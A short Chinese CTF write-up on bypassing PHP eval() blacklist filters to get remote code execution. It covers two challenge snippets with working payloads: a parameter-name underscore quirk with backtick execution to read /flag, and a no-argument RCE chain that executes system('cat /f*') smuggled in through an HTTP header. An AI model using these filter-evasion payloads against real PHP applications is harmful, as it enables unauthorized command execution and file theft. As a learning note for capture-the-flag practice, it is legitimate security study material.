php-rce绕过
RCE的绕过就是要多多积累
例子1
$code=$_POST['e_v.a.l'];
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
[会被解析成下划线_;和反引号去绕过对system函数的过滤,反斜杠绕过flag,tac替换cat命令
POST: e[v.a.l=echo `tac /fla\g`;
例子2
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}
这个preg_replace的意思
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])
preg_replace 是 PHP 中用于进行正则表达式匹配和替换的函数。它接受三个参数:
正则表达式:/[^\W]+\((?R)?\)/
替换内容:''(空字符串)
操作对象:$_GET['star'] 的值
我们先分析一下这个正则表达式 /[^\W]+\((?R)?\)/:
/.../:这是正则表达式的分隔符。
[^\W]+:匹配一个或多个字母、数字或下划线字符。[^\W] 的意思是匹配“非非单词字符”(即,匹配的是字母、数字或下划线,这种写法可以简化为 \w)。
\( 和 \):分别匹配左括号 ( 和右括号 )。
(?R):这是一个递归模式,表示在括号内可以递归匹配整个正则表达式。因此,它可以匹配嵌套的括号结构。
一眼无参RCE,可以看到这个正则表达式中()里面的东西都被替换为空,所以是无参RCE
用如下方式getflag,下面的内容是burp包里面的东西,注意burp里面其他参数都可以删掉,但是host不能删掉
GET /bo0g1pop.php?star=eval(pos(array_reverse(getallheaders()))); HTTP/1.1
Host: ed6ca05c-a285-4055-b57b-4086bb0e7752.node5.buuoj.cn:81
X-Forwarder-Proto: system('cat /f*');
相关函数的一些解释
1. getallheaders()
getallheaders() 是 PHP 的一个函数,用来获取所有的 HTTP 请求头。这个函数返回一个关联数组,其中键是请求头的名字,值是对应的请求头内容。例如:
[
'Host' => 'example.com',
'User-Agent' => 'Mozilla/5.0',
'Accept' => 'text/html',
...
]
2. array_reverse(getallheaders())
array_reverse() 会将数组的顺序反转。例如,原来第一个请求头变成了最后一个,最后一个变成了第一个。
在这里,它是将通过 getallheaders() 获取的所有请求头反转顺序。
3. pos(array_reverse(getallheaders()))
pos() 是 PHP 中的一个函数,用于获取数组当前指针指向的值,默认指向数组的第一个元素。
因为之前通过 array_reverse() 将请求头数组的顺序反转了,所以 pos() 获取的将是反转后数组的第一个元素(即原来请求头数组中的最后一个元素)。